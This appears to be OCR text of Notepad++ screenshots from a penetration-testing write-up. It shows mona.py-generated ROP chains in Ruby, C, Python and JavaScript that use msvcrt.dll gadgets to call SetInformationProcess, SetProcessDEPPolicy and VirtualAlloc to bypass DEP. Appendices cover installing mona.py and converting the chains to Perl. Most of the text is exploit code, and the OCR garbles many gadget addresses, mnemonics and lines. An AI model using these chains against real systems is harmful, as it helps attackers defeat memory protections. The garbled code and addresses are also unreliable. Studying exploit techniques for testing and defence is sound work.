[=lrop_chains bd E3 |

DEAC == D @ E

=lmlx

= "+ // #[-—-INFO:gadgets_tc_set_esi:-—-] :

6 "Eu06308uTTCA" + /7 0x77540630 POF ESI # RETN [msvert.dll]

il "susacctuTTeZ” 4/ OxTTclasce QP [ERX] [msvert.dll]

POF EAX 4 REIN [msvert.dll]

[-] Unzble to find ptr to sVirtualProtect()

,# PUSHAD # BETN [msvert.dll]

"$u55248u7763" + f/ 0XT7c35524 : ,# PTr To 'push esp # ret ' [msvert.dll]
A

S i R

Register setup for SetInformaticnProcess()

EAX = SizeOf(ExecuteFlags) (0xd)

ECX = :fxecuteflags (pTr te 0x0000000 2)
EDK = ProcessExecuteFlags (0x22

IBX = NcCurrentProcess (0
ESE = ReturnTe (autcmatic)

EBE = por to NuSesInformaticnProcess()
E5I = <not useds

= ROF NOF (4 byte stackpivet)

SethEmboE S Do

il - i B il v v N R

AR )
]
5]
5

AL R R M R R R R R R R R R N R R R MR MR R R R R RN

L= 07 &1 o

1153 \rop_chains.txt - Notepad++
Fle Edit Search Vien Encoding Language Settngs Tools Mao Run Plugins Window ?

cHEE - L8[ &mk(De || < [EE
Elop_chmree |

EEE S e

=181 x]
X

nd ptr to sSerInformationFrocess()

~INTO:gadgets_to_set_sdx:

a8 _to set s -]

(1] 0x77cdelda, # POF EAX # REIN [msvcrr.dll]

70 Oxalbi3fef, # put delta into eax (-> put 0x00000022 into edx)
73 0x77c32081, # ADD E2X,SE40C033 § RETN [mavert.dll]

72 0x77c58fbc, 4 XCHG EAX,EDX § RETN [msvort.dll]

73 #[---INFOigadgets_to_set_eck:---]

74 0x77c401ed, 4 POF ECX 4 REIN [msvcrt.dll]

75 0x77¢10144, 4 s0x00000002 [msvert.dll]

76 #[---INFO:gadgets_to_set_sbx:i--—-]

0x77c46e9d, # POP EBX # RETN [msvert.dll]

I A -> ebx
-INFO:gadgets_to_set sami---]

0x77¢361%1, 4 SUB EAX,ERX # REIN [msvert.dll]

(w7 228a0 & THA FAY 4 DETH fmascmee A111

AL M MM R R R R R R R R R R RN R R R MR R R R R RN R

53

54

S5 ROF Chain for SetInformationFrocess() [(XB/2003 Server only)]

56

57

S5 #%x [ Ruby | 44

58

60 def create rop chain{)

61

62 # rop chain generated with mona.py - www.corelan.be

63 rop_gadgets = L
64 L

65 #[---INFO:gadgeta_to_set_ebpi-—-]

6 0x00000000, 4 [-] Unable to find gadgets to pickup the desired AFI pointer into sbp
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cHHE s LB|lsmkde M|z |BE[51

[Elrop_chainste 3 |

RSECYRORCNCN N ==

281 0x77c226e3, # INC ERX 4 REIN [msvcrc.dll] |
282 0x77c226e3, # INC EEX 4 RETH [msvert.dll]
283 c226e3, # INC EEX 4 RETN [msvert.dll]
284 Tc226e3, # INC ERX # RETN [mavcrt.dll]
285 -INFO: gadgets_to_set_edii---]

286 4 POP EDI # RETN [msvcrt.dll]

4 skip 4 bytes [msverc.dll]
INFD: pushad:——-]

cl2df3, # PUSHAD # RETN [msvert.dll]
] .flatten.pack ("V*")

return rop_gadgets

end

4 Call the ROP chain generztcr inside the 'expleit! functien :

rop_chain = create rop chain()

par [ o] wes

#define CREATE ROF CHAIN(name, ...) \
int nane## leageh = create rop chain(WULL, %% VA ARGS
unsigned int name[namedd length / sizecf(unsigned int)]

rresre ronm chaininama 44 TM 1DAS 4.

C:\log\1801153\rop_chains.txt - Notepad ++
Fie Edit Search View Encoding Llanguage Settngs Tools Macro Run Plugins Window 2

e == A e D EE =

[Hrop_chains:d E3 |

SlmlF R SR ORCRCNEN ==

ST

309 create_rop chain(name, #% VA RRGS )|

310

311 int create_rop_chain(unsigned int *buf, unsigned int )

312 i

313 // rop chain generated with mons.py - www.corslan.be

314 unsigned int rop gadgets[] = [

315 //[---INFO:gadgets To_set sbp:

316 0x00000000, // [-] Unasble te find gedgets to pickup the desired API peinter into sbp
0x0 . /7 [-] Unsble te find ptr to sSetInformationProcess()

7/ [---INFO: gadgets_to_set_edxi——-]
0x77cie0da, // POF EZX // BETH [msvers.dll]

0xalbf3fef, // put delta into eax (-> put 0x00000022 into edx)
0x77c38081, // ADD EAX,SE40C033 // REIN [msvecrt.dll]
22 0x77c58fbc, // XCHG EAX,EDX // REIN [mavert.dll]
323 /7 [---INFO:gadgets_to_set_ecx:——-]
324 0x77c401e0, // BOP ECX // RETN [msvert.dll]
325 0x77cl0148, /7 sOxf 02 [mavert.dll]
326 /f[---INFO: gadgets_to_set_ebx:---
27 0x77cdGedd, // FOP EBX // REIN [msvert.dll]
28 0x£: . [/ Ox£: £-> ebx
329 /7 [---INFO:gadgets_to_set_eax:——-]
330 0x77c36191, // SUB EAX,EAX // RETN [msvert.dll]
331 0x77c226e3, // INC EAX // RETN [msvert.dll]
332 0x77c226e3, // INC EAX // BRETN [msvert.dll]
333 0x77c226e3, // INC ERX f/ RETN [msvert.dll]
334 0x77c226e3, // INC EAX // REIN [msvert.dll]
335 /7 [---INFO:gadgets_to_set_edi:——-]
336 0x77c46lle, // BOP EDI // RETN [msvert.dll]

~AR11a /7 alin 4 betas Pmesees 4111
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=1a1x]

cHHEE <& & N ¢ ;| =z HE SN EEEANL 2| DB B
Hrop_chains bt 3 |

337 0x77cdélle, // skip 4 bytes [mswert.dll] 5|
338 /7 [---INFO:pushad:---]

339 0x77cl24f9, // PUSHAD // REIN [msvcrt.dll]

340

341 if(buf '= NULL) {

342 memcpy [buf, rop gadgets, sizec:(rop gadgetal):

343 N

344 return sizeof (rop_gadgets);

345 1

346

347 // use the 'rop_chain' varisble after this call, ic's just an unsigned int(]

CREATE_ROP_CHAIN(rop_chain, );
// alternatively just allocate & largs enough buf
// unsigned int rop chain[2ss]:

// int rop chain length = creste rop_chain(rop chain, ):

r and get the rop chain, i.e.:

%% [ Python | ¥+
def create rop chain():

# rop chain generated with mona.py - www.ccrelan.be
rop_gadgets = [

#[---INFD:gadgets_to_sst_sbpi---]
# [-] Unsble to find gadgets to pickup the desired API pointer into ebp
% [-] Unsble to find prr te sSetlnformationBrocess()
INFO:gadgets_to_set_sda:
0x77cde0da, # POP ERX # RETN [msvert.dll]
Oxalbf3fef, # put delta into eax (-» put 0=00000022 inte edx)
o

5051 4 AN ENY SEANCAA3 & DETH (memess 4111

Jog\1801153\rop_chains.txt - Notepad++

Zle Edit Search View Encoding Language Settings Tools Maco Run Plugins  Window ?
HEE S S & mEk e a2z EE51EEELL =& =D BB

Hrop_chains bt 3 |

=8>

0x77c38081, 4 ADD EAX,SE40C033 # RETN [mswert.dll]

0x77cS8fbc, 4 XCHE EAX,EDK # REIN [msvert.dll]

INFO:gadgets_To_ss=t_ec:

4 FOF ECX # REIN [msvert.dll]

....... [msvere.dil]

-1

4 FOP EBX # RETN [mavert.dll]

£, % 0x -5 =bx

INFO:gadgets_to_set_sami---]
0%77c36191, 4 SUB EAX,ERX # REIN [msverr.dll]
0%77c226e3, # INC EAX # REIN [msvcre.dll]
0x77c226e3, 4 INC EAX # RETN [mswert.dll]
0x77c226e3, # INC EAX # BETN [msvert.dll]
0x77c226e3, 4 INC EAX § RETN [msvort.dll]
#[---INFO:gadgets_to_sst_sdii---]
0%77c46lle, 4 POF EDI 4 REIN [msvcre.dll]
0x77cd6lle, # skip 4 bytes [mavert.dll]
#[---INFO:pushad:
0x77c12d£9, 4 PUSEAD 4 BETN [msvert.dll]

1

return ''.join{struct.pack('<I', ) for _ in rop gadgets)

rop_chain = create_rop_chain()

#4% [ JavaScript | #++

{imon_chain menarared with mans mo - s carelan ha
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[=lrop_chains bd E3 |

EEAC | E R E

393 //rop chain generated with mena.py - www.corelan.be

394 rop_gadgets = unescape(
"+ /f #[---INFC:gadgets_to_set_sbpi---] :
"$u00008u0000" + // 0X00000000 : 4 [-] Unable To find gadgets to pickup the desired AFI pointer into sbp
"$u00008u0000" + £/ 0x0

0 ,# [-] Unzble to find ptr to sSetlnformationfrocess ()
"o+ /f #[-—-INFO:gadgets_to_set_sdx: :

"tueldasulles” + // 0x77cielda : 4 POP EAX # RETN [msvert.dll]

g ualbf™ + // Oxalb: ,# put delta into eax (-> put 000000022 into edx)
"$uB0818u77c3" + // 0x77c38081 : ,4 ADD EAX,SE40C033 # RETN [mavers.dll]
"tuBfbesuTTes" + // 0X77¢58fbe : 4 XCHG EAX,EDX 4 RETN [mavert.dll]

"oy f/ #[-—-INED:gadgets_to_set_soxi——-] i

"$ulle0¥u77cd™ + // 0xT7cd0led : ,# POP ECX # REIN [msavcrt.dll]

"$u0144%u77cl™ + // 0x77c10144 : ,# s0x00000002 [msvert.dll]

+ // #[-—-INFO:gadgets_to_set_ebx:
"tu6eddsulTcs” + // 0x77c46edd : ,4 POP EBX # RETN [msvert.dll]
" u + [/ OXEEE £E-> ebx

"4 ff #[---INED:gadgets_to_set_sax: :
"$u6l91%uT7c3” + // 0xTTc36191 : ,# SUB EAX,EAX # REIN [msvcrt.dll]
"$u26e3%uTTc2" + // 0xT7c226e3 : ,# INC ERX # RETN [mavert.dll]
"$u26e3su’Te2” + // 0x77c226e3 : 4 INC EAX # RETN [msvert.dll]
"$u26e3%ulTc2” + // 0x77c226e3 : ,4 INC EAX # RETN [msvert.dll]
"tu26e3%u7762" + // 0X77c226e3 : 4 INC EAX # RETN [msvert.dll]
"4/ #[---INED:gadgets_to_set_sdii-—-] :

"$ublledu7lcd” + // 0xTTcdélle .# POP EDI # REIN [msvcrt.dll]
"gusllesulTes” + // 0x77ciélle : ,# skip & bytes [msvert.dll]

™"+ ff #[---INFQ:pushad:-—-]
"su2d£9%uTTcl” + // 0x77c12
R

.4 FUSHAD # RETN [msvert.dll]

C:\log\1801153\rop_chains.txt - Notepad++

Fle Edit Search View Encoding Langusge Settings Tools Maco Run Plugins Window ?
pReeN = (RN = AT - A e =N N

[=lrop_chains bd E3 |

BNERCA N O OGN ==

421
422
423
424
425
426
427
428 Register setup for SetProcessDEFPelicy()
429
430 EAX

= <not used>

431 ECK = <not used>

432 EDK = <not used>

433 EBK = dwFlags (ptr te 0x00000000)
434 ESP = ReturnTo (sutcmatic)

435  EBP = por to SetProcessDERPolicy()

436 ESI = <not useds

437  EDI = ROF NOF (4 byte stackpivot)
438

439

440

441  ROP Chain for SetPrecessDEPPelicy() [(XP SP3/Vista SP1/2008 Server SP1, can be called only once per process)]
442

443

P e

445

446 def create_rop chain()

447

448 4 rop chain generated with mena.py - wiw.corelan.be
10 o adnare —

T
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OHE . LaldmE|lae (a2 =[E8(51
rop_chains bt E3 |

=N EFRNENCS N ONCNCNCER ==

rop_gadgets
[

INFO:gadgeta_to_set_sbp:-—-]
0000, # [-] Unable to find ptr to SetProcessDEFFolicy() (-» o be put in ebp)
#[---INFO:gadgets_to_set_ebx:i---]

0x77cdélcl, 4 FOF EBX # REIN [msvcrt.dll]

0x77¢6€5339, 4 &0x00000000 [msvert.dll]

#[---INFO:gadgets_to_set_edi:---]

0x77c23b47, # POP EDI # RETN [mswert.dll]

0x77c23b47, # skip 4 bytes [mavert.dll]

4[---INFO:pushad:---]

0x77¢124£9, # PUSHED # RETN [msvcrt.dll]

atten.pack("V+")

return rop_gadgets

end

# Call the ROP chain generator inside the 'expleit' function :

rop_chain = create_rop_chain{)

3dafina COEATE DAD CHATH (nama L "

) log\1801153\rop_ch xt - Notepad++

Fle Edit Search View Encodng language Settings Tools Maco Rum Plugins Window ?
o EE G| & Wik 3e(mig s =BS5S 10EEED D == E b @ E

[Hrop_chains b E3 |

=181
X

477 #define CREATE_ROF CEAIN(name, ...) \

int name44_length = create_rop chain(NULL, ##_VA_ARGS |
unsigned int name[name##_length / sizeof {unsigned int)
create_rop_chain(name, $f_VA 2RG3_);

int create rop chain{unsigned int *buf, unsigned imt )

// rop chain generated with mona.py - www.corelan.be
unsigned int rop gadgeta[] = {
/1 [---INFO:gadgets_to_sst_sbpi---]
0200000000, // [-] Unable to find ptr to SevProcessDEFFolicy() (-> te be put in sbp)
//1---INFO:gadgets_to_sst_ebxi-—-]
0x77cd6lcl, // BOP EBX // RETN [msvert.dll]
0x77c65339, // s000000000 [msvert.dll]
[/ [-==INFO:gadgets_to_set_edii-
0x77c23b47, // EOF EDI // REIN [msvcrt.dll]
0x77c23b47, // skip 4 bytes [msvcrr.dll]
/71---INFO:pushad:-—-1
0x77c12d£9, // PUSEAD // BETN [mswert.dll]

if(buf != NULL)
memepy(buf, rop gadgets, sizeof(rop_gadgete)):

b

return sizeof (rop_gadgets);

¥

// use the 'rop_chain' variable
CREATE_ROF CHRIN(rop_chain, ):

£/ slemrnarisal dnsr s1larsrs = lav;s ansosh bafSar smd mar che sam shain i s - [

er this call, it's just an unsigned inc(]
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cHHE | smk|lae|mig|t s [EHE(51

[=lrop_chains bt 3 |

FEEADC =N EE

=181

// elternatively just allocate a large encugh buffer and get the rop chain, i.e.:
// unsigned int rop chain[256];
// int rop chain length = create _rop chain(rop chain, )

44+ [ Python ] ***

def create_rop_chain{):

4 rop chain gensrated with moma.py - ww.corslan.be
rop gadgets = [

# [-] Unable to find ptr te SetProcessDEPPelicy() (- o be put in ebp)
INFD:gadgets_to_sst_sbwi---]

0x77c46lel, # POP EBX # REIN [msvert.dll]

0x77¢6€5339, # s0x00000000 [msvert.dll]

#[---INFO:gadgets_to_set_edi:---]

0x77c23b47, # POP EDI # RETN [mavert.dll]

0x77c23b47, # skip 4 bytes [msvort.dll]

#[---INFO:pushad:

0x77c124£9, & PUSHAD # REIN [msvcret.dll]
1

return ''.join{struct.pack('<I', _) for _ in rop_gadgets)

517

9
0
i
3
4

o

o

o o
P R

0 o

o

o

5

o

o

o

rop chain = create rop chain{)

o

o
@
-

#4% [ JavaScript ] ***

il

C:\log\1801153\rop_chains.txt - Notepad ++ =[=] x|
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cHHE s & 4MmE(ae(mn| 2 | EBE[51

[H rop_chains.b¢ B3 |

EED G =R

532 *+x [ JavaScript ] ***
=33
534 //rop chain generated with mona.py - www.corelan.be
535 rop_gadgets = unescape|
536 "t + ff #[---INFO:gadgets_to_set_ebp:---] @
537 0 : ,# [-] Unable to find ptr to SetProcessDEPPolicy() (-> to be put in ebp)
538 INFO:gadgets_to_set_ebx:---]
539 "$u6lclIuTicd” + // 0x77cdelcl : ,# POF EBX & REIN [msvcrt.dll]
540 "$uS339%uTTcE™ + // 0xT77cE5339 : ,# s0x00000000 [msvcrt.dll]
541 RS VAR 18 INFO:gadgets_to_set_edi:---] :
542 "$u3b473uTTC2" + // 0x77c23b47 : ,# POP EDT & RETN [mavert.dll]
543 "§u3b4TIUTTCI" + S/ 0x77c23b47 @ # skip 4 bytes [mavert.dll]
544 "t 4 ff #[---INFO:pushad:---] :
545 "$u2df9%uTicl™ + // 0x77cl2df8 : ,# PUSHAD 4 REIN [msvcrt.dll]
546 R AP
547
548
543
550
551
552
a5
554 Register setup for VirtualRlloc({)
555
556 EZX = NOF (0x90303090)
7 fl1Protect (0x40)
flAllocationType (0x1000)
dwSize
TrlAdrase fantomaricd
g - - - - |

Mormal text file length : 35,079 lines : 767 Ln:532 Col:23 Sel:0]0
Bistart| [ E P w iy @@ & > O C:logli801153 | [ ©:\log\1801153\rop._...

of
e
[

[Windows (CRLF)  [UTF-8
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cHHE A kW2 e(mials | BE[=1
Elren_shansse 3 |

=N EFRNERCINONDRCNTR ==

SEIE

ESP = lpAddress (zsutomatic)
EBF = ReturnTo (ptr to jop e3p)
ESI = per to Virtualdlloc()
EDI = ROP NOP (RETN)
--- alternative chain
ERX = pur To sVirtualilloc()

ECK = flProtect (0x40)

DK AllocationType (0x1000)

EBX = dwSize

ESP = lphddress (automatic)

EBF = FOF (skip 4 bytes)

E5I = pur To JMF [EZX]

EDI = ROF NOF (RETN)

+ place pur to "jmp esp” on stack, below FUSHRD

ROF Chain for Virtualilloc() [(XE/2003 Server and up)]

ser [ Rupy ] 444

def create_rop_chain()

# rop chain genevated with mona.py - wiw.corslan.be
rop_gadgsts =
r

#[---INFO:gadgets_to_set_ebp:

21009 4 DD FRD 4 DETH mameet A111

Fle Edit Search View Encoding Language Settings Tools Maco Run Plugins Window 2
cHHE 3 G|k e|ih| 2 s |EE]S51

[=lrop_chains bd E3 |

DEAC = | E N EE

=18l x|

0x77c30992, # FOP EBP # RETN [msvert.dll] |

0x77c36992, # skip 4 bytes [msvert.dll]

#[---INFO:gadgets_To_set_sbx

0x77c3decT, # FOF EBX # RETN [msvert.dll]
*

o "
0x77cl27el, # INC EBX # RETN [msvcrt.dll]
0x77cl27el, # INC EBX # RETN [msvert.dll]
#[---INFO: gadgets_to_set_edxi-
0x77cie0ds, # FOF ERX # RETN [msvert.dll]

Oxalbfifed, # put delta into eax (-> put 0x00001000 into edx)
0x77c38081, # ADD EAX,SE40C033 # REIN [movert.dll]
0x77cS8fbc, # XCHG EAX,EDX # RETN [msvert.dll]

#[---INFO: gadgets_to_set_ecx:——-]

0x77c5289b, # FOF EAX # RETN [msvert.dll]

0x365£5282, 4 put delta into eax (-> put 0x00000040 into cx)
0x77cic78a, # ADD EAX,C90000B2 # REIN [msvert.dll]
0x77c14001, # XCHG EAX,ECK # RETN [msvert.dll]
#[---INFO:gadgets_te_set_edi:-—-]

0x77c47ail, # BOP EDI # RETN [msvert.dll]

0x77c47a42, # BETN (ROF NOF) [msvert.dll]

#[---INFO:gadgets To_set esi:
0x77c2cazd, # FOF EST # RETN [msvert.dll]

0x7TcZaace, # JMP [EAX] [wsvert.dll]

0x77cie392, # FOP EAX # RETN [msvert.dll]

0x77cl110c, # por to sVirtualAllec{) [IAT msvert.dll]
#[---INFC:pushad:-
0x77cl2df9, 4 FUSHAD # RETN [msvert.dll]
#[---INFO:extras:——-]

2 nrr rn trnsh msn # rer 1 Pmesees 4111
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N EN RSN OR N RN =

616 0x77c354bd, #
1.flatten.pack

tr to 'push esp # ret ' [maverc.dll]]

create_rop_chain(name, ##_VE_RRGS_);

=

int create rop chain(unsigned int *buf, unsigned imt )

[

618

619 zeturn rop gadgets

620

621 end

622

623

624 4 Call the ROP chain generator inside the 'exploit' function :
625

626

627 rop_chain = create_rop chain()

628

629

630

§31  awa [T ] ke

632

633 4dsfine CREATE ROE CERIN(aams, ...) \

634 int name##_length = create_rop_chain(NWULL, #%_ VA ARGS_ ); \
63 unsigned int nane[name##_length / sizeef (unsigmed int)]: \
63

63

3

3

// rop chain generated with mona.py - www.ccrelan.be
unsigned int rop_gadgets[] = [

/[ [---INFD:gadgets_to_sst_sbpi---]
& 0x77¢3b992, // POP EBP // REIN [msvert.dll]
£ya N%77A%m320 1/ slim 4 jwiras fmeweee 4111
4

\log\1801153\ro txt - Hotepad ++
Fle Edt Search Vien Encodng Language Settings Tools Mao Run Plugins Window ?

o HEE 2 GE| & 2e (it s |EBE]51

EEE G| D@

=lalx

Elopchorre B |

64d 0x77c3b9%2, // skip 4 bytes [msvort.dll]] =
645 1/ 1---INT0: gadgets_to_sec_sbxi---]

646 0x77¢3%ec?, // POP EBX // REIN [msvcrt.dll]

I

cl127el, // INC EBX // REIN [msvert.dll]

0x77c127el, // INC EBX // REIN [mavert.dll]

/4 [---INFO:gadgets_to_set_sdxi---]

0x77c4e0da, // FOF EAX // REIN [msvert.dil]

Oxalbf4fcd, // put delta into sax (-> put 0x00001000 into edx)
0x77c38081, // ADD EAX,SE40C033 // REIN [msvecrt.dil]
0x77cS8fbe, // KCEG EAX,EDK // BETN [msvert.dll]
//[=--INFO:gadgets_to_set_scxi---]

0%77c528%b, // FOF EAX // REIN [msvert.dll]
0x34£££52e, // put delta into sax (-> put 0x000000
0%77c4c78a, // ADD EAX,CS0000B2 // REIN [msvcrt.dl
0x77c14001, // XCEG EAX,ECK // BETN [mswert.dll]
//[---INFO:gadgets_to_set_edi:-—-]

0x77c47a41, [/ POP EDI // REIN [msvcrt.dll]
0%77c47a42, // REIN (ROF NOF) [msvere.dll]
//[---INFO:gadgets_to_set_ssii---]

0x77c2caad, // BOF ESI // REIN [msvert.dil]
0x77c2aace, // JMP [ERX] [msvert.dll]

0x77c4e392, // POP ERX // REIN [mavert.dll]
0x77c1110c, // ptr to sVirtualAlloc{) [IAT msvert.dll]
/4 [===INFO:pushad:---]

0x77c12d£9, // PUSERD // REIN [msvcre.dll]
//1---INFOrextras:---]

0x77c354bd, // ptr to 'push esp // ret ' [msvert.dll]

03

40 into ecx)
1]

o o o
o & o
A

A
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xt - Hotepad++ =[=] x|
File Edit Search View Encoding Language Settings Tools Maoo Run  Plugins  Window X

Sk nk|2 B2 51 EEEAD = |8 ENE R

{

memcpy (buf, rop_gadgets, sizeoi(rop_gadgets)):
I
return sizeol(rop_gadgets):

/f use the 'rop chain' variesble after this call, it's just an unsigned int[]
CREATE_ROP_CHAIN({rop_chain, };
/f alternatively just allocate a large encugh bu
// unsigned int rop_chain[256];
// int rop_chain length = create_rop_chain({rop_chain, }:

er and get the rop chain, i.e.:

k4% [ Bython ] *#+
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [

#[---INFD:gadgets_to_set_ebpi---]

0477c3b932, # POF EBF 4 REIN [msvcrt.dll]

0x77c3b392, # skip 4 bytes [mavert.dll]
INFO:gadgets_to_set_ebx
# POF EBX # REIN [msvcrt.dll]
¥
# INC EBX # REIN [msvcrt.dll]
# INC EBX # RETN [mavcrt.dll]
#[---INFO:gadgets_to_set_edx:---]
f

-
afd= 2 TAD FOV 3 DETH Tmewmes A171

I

=
“ille

Mormal text file length : 35,072 lines : 767 Ln: 672 Col:7 Sel:0|0 ‘Windows {CRLF) |UTF-8
&4 start| [ B3 w @ E@D clg\1801153 | [ €:\log\1801153\rop._...

I
[

1153 \rop_chains.txt - Notepad++ M-S
Fle Edit Search View Encoding Language Setings Tools Mao Run Plugins Window ? ¥

s HEE S L& mE et BE(S1EEEEG (6N R E
Elop_chmree |

700 0x77c4e0ds, # POF EAX # REIN [msvort.dll] | -
701 Oxzlbf4fcd, # put delta into eax (-> put O 1000 into edx)

702 0%77c32081, # ADD EAX,SE40C033 4 REIN [msvcre.dll]

703 0x77cS8fbe, # XCHG EAX,EDX # REIN [msvert.dll]

704 #[-—-INFD:gadgeta_to_set_scxi-—-]

0x77c5229b, 4 POP EAX # RETN [mavert.dll]

036 e, 4 put delta into eax (-> put 0x00000040 into ecx)
0x77c4c78a, 4 ADD EAX,C90000B2 # RETN [msvert.dll]
0x77¢14001, # XCHG EAX,ECX 4 REIN [msvecrt.dll]
#[-—-INFO:gadgets_to_set_sdi:-—-]

0x77c47241, # POP EDI # RETN [msvert.dll]

0x77c47a42, 4 RETN (ROP NOP) [mavert.dll]
#[---INFO:gadgets_to_set_ssii---]

0x77c2caa9, # POP ESI # REIN [msvert.dll]

0x77c2aace, 4 JMP [EAX] [mavert.dll]

0x77c4e392, 4 POP EAX 4 REIN [msvert.dll]

0x77c1110c, # ptr to sVirtualAlloc() [IAT mswvcrt.dll]
#[-—-INFO:pushad:——-]

0x77c12df9, 4 PUSHAD # RETN [mavert.dll]

719 #[-—-INFOiextrasi---

720 0x772354b4, % ptr to 'push eap # ret ' [mevert.dll]
721 1

722 return ''.jein(struct.pack('<I', _) for _ in rop_gadgets)
723

724 rop_chain = create_rop_chain()

W

ap T memgeies 1 _I_‘
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o Clog annisavop_chanspce-norepaae <iBi>
Fle Edit Search View Encoding Language Settngs Tools Macro Run Plugins Window 2 ¥
cHHEHE 3.8 Mk ek 2 z|EHEZ1 A NORCNCNEN =
[=lrop_chains bd E3 |
7. #%% [ JavaScript ] *** -
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(

" 4+ // #[---INFO:gadgets_to_set_ebpi-—-] :

"$ub332%uT7c3" + // 0xT7c3b332 : ,# POP EBP # REIN [mavert.dll)

"$uR392%uTTe3" + 4/ 0x77c30992 @ # skip 4 bytes [msvert.dll]

"4 ff #[-—-INFO:gadgets_to_set_ebxi-—-] :

"udecTeullcd" + // 0x77c3%ecT i ,# POF EBK # RETN [msverc.dll]

"SUFEEESUEEEE" 4 S/ OXE; o#

"$u27elfu?7cl" + // 0x77cl27el : ,# INC EBX # REIN [mavcrc.dll)

"$u27eltu’7cl” + // 0x77cl27el : ,# INC EBX # REIN [mavert.dll)

"4 ff #[-—-INFO:gadgets_te_set_edx:-—-] :

"ueldatuTled” + // Ox77cielda : ,# POP EAX # RETN [meverc.dll]

"$uifcdsualbi” + // Oxalbfifod @ ,# put delta into eax {-> put 0x00001000 into edx)

"$u8081%u77c3" + S/ 0x77c38081 : ,# ADD ERX,SE40C033 # REIN [mavere.dll]

"$u2fbctuTTes" + 4/ 0xT7cS2fbe @ ,# KCHG EAX,EDX # REIN [maverc.dll)

"o+ /f #[-—-INFO:gadgets_to_set_scxi---] @

"$u289D%uTTCS” + // 0x7T7c5289b : % POP EAX # RETN [msvert.dll]

"$ufffesulsEET + // Ox3 (% put delta into eax {-> put 0x00000040 into ecx)

"$uc78asu’lcd” + // 0x77c4cT8a : ,# ADD EAX,C90000B2 # REIN [mavert.dll]

"$u4001%u77el" + /4 0x77c14001 : ,# XCHG ERX,ECX # REIN [maverc.dll]

"4 ff #[---INEO:gadgets_to_set_edii-—-] :

"$u7adliuT7c4” + // 0x77c4Tadl : .4 POP EDI # REIN [mavecrc.dll)

"$uTad2sulled” + // 0x77ceTal2 : % RETN (ROP NOP) [msvert.dll]

"4 ff #[-—-INFO:gadgets_to_set_esi:-—-] :

"$ucaadtuTlc2” + // Ox77c2caad i ,# POF ESI # RETN [msverc.dll]

"usacciuTie” + /f OxT7c2amce @ ,# JMP [ERX] [maverc.dll] &

5002382507 TAA" 4 [/ (vTTAAaR57 + 2 TAT BTV 2 DETH fmamews 4111

1 e

=8>
File Edit Search View Encoding Language Settings Tools Macre Run Plugins Window ¥
o HEE 3 @ MWD et s BE (51 EDEDD = |66 EE
Elop_choren 8|
740 "4 ff #[---INFD:gadgets_to_set_sdx : -~
741 "sue0daduTied” + // 0x77cie0da @ ,# POF ELX # RETN [maverc.dll]
742 "$udfcdiuales” + 4/ Oxalbf4Zed @ ,# put deltz into esx (-> put 0x00001000 into edx)

"$uB081%u77c3" + // 0x77c38081 : ,# ADD ERX,SE40C033 # REIN [maverc.dll)

"$usfbctuTles" + // 0xT7cS8fbc : ,# KCHG EAX,EDX # REIN [mavert.dll)

"4 ff #[-—-INFO:gadgets_te_set_scxi-—-] :

"$u283b%uTTCs" + // 0x77c5283b i ,# FOF ERX # RETN [maverc.dll]

"suffesudaii” + 4/ 0x3 e : .4 put delta into eax (-> put 0=0 40 into ecx)

"$ucT2atulled” + S/ 0x77c4cT2a : ,# ADD EAX,C90000B2 # REIN [mavcrc.dll)

"$u4001%u77cl” + // 0x77cl4001 : ,# XCHG ERX,ECK # REIN [maverc.dll)

"o+ /f #[-—-INFO:gadgets_to_set_sdi:i---] @

"$uTadlsulled” + // 0x77ciTail : % POP EDI # RETN [msvert.dll]

"$u7ad2sulled” + // 0x77c47ad2 : ,# REIN (ROP NOP) [mavert.dll]

"4 ff #[---INFO:gadgets_to_set_ssii---] :

"ucaadsuTIo” 4SS 0 (% POP ESI # RETN [mavere.dll]

"$usacciuTiel” + S/ (% JMP [ERX] [maverc.dll)

"$ue3d2%uTlca” + // .# POP EAX 4 RETN [msvere.dll] |

"$ull0ctu?7el” + // 0x77clll0c : ,# ptr to sVirtuelRlloc() [IAT mavert.dll)

"4 ff #[-—-INFO:pushad:——] :

"$u2d£9%uT7el” + // 0x77cl2df9 : ,# PUSHAD # RETN [mavert.dll]

"+ ff #[---INFO:extras :

"$u54b4suTICE” + S/ 0XT7c354b4 @ ,# pTr To 'push esp # ret ' [maverc.dll]

RS RN
il I I
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APPENDIX B — INSTALLING MONA.PY

Download mona.py from corelan / mona on Github, then place into pycommands folder
within the Immunity debugger files (Figures 53, 54, 55, 56 and 57).

Documents and Settings

,J cmd
. Inetpub

.
,’,’!

log

Perl

logs /J metasploit

Python27 RECYCLER

rnd /J Savant
software /J src
System Volume Information /J tmp

>
>
-
>

Figure 53 Finding Immunity Debugger Folder
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/

Adobe

ComPlus Applications

EDrawOfficeViewer

Golden FTP Server

lmmunity Ing

Internet Explorer Collection

Messenger

MetaStream

Immunity Debugger

Figure 55 Find pycommands in Immunity Debugger Part 2

Common Files

Destiny

freeFTPd

GRETECH

Internet Explorer

Java

Metasploit

Microsoft ActiveSync

Servers

Figure 56 Pycommands folder
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KB

mike.py
Python File
35KB

monaold. py
Python File
634 KB

openfile.py
Python File
1KB

pyexec.py
Python File
1KB

safeseh.py
Python File
4KB

search.py
Python File
1KB

LT T T T 1 m':-ﬁ T

Python File
10 KB

searchcrypt.py

LT O TR, ' R

e

SKB

modptr.py
Python File
4KB

mona.pyc
Compiled Python File
506 KB

nohooks.py
Python File
1KB

packets.py
Python File
11 KB

recognize.py
Python File
SKB

scanpe.py
Python File
S KB

zearchoode.py
Python File
1KB

searchheap.py
Python File
3KB

Figure 57 Paste mona.py into pycommands
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APPENDIX C—PYTHON TO PERL SEARCH AND REPLACE

To turn the Python code into Perl code, the tester used “Search and Replace”. Begin by
pasting the Python code into a text editor (Figure 58) and saving it as a .PL file, then start
the replace process by opening the search and replace box (Figure 59) by going to the
search tab and selecting replace.

Next, highlight and copy the beginning of the line up to the Ox and replacing it with the
Perl variable and bracket (Figure 50), the fastest way would be to click the ‘replace all’
button. After that, highlight and copy the end of the line from the comma to the hash
(Figure 61) and replace it with the Perl closing bracket, semi-colon and a hash (for
comments) as seen in figure 62. Finally the Python code has been turned into Perl code
(Figure 63).

2 rop chain generated with mona.py - www.corelan be

' [m=vert. dll]

Figure 58 Beginning appearance
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R R R R e i il i

2

Figure 59 Under search select Replace

5

————

ErE=ra .
[

Figure 60 Replace empty space with Perl Code
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il

SIEF gadaate oo P

P EEP & BRETH [m=wcrt.dll]

: INC
: INC

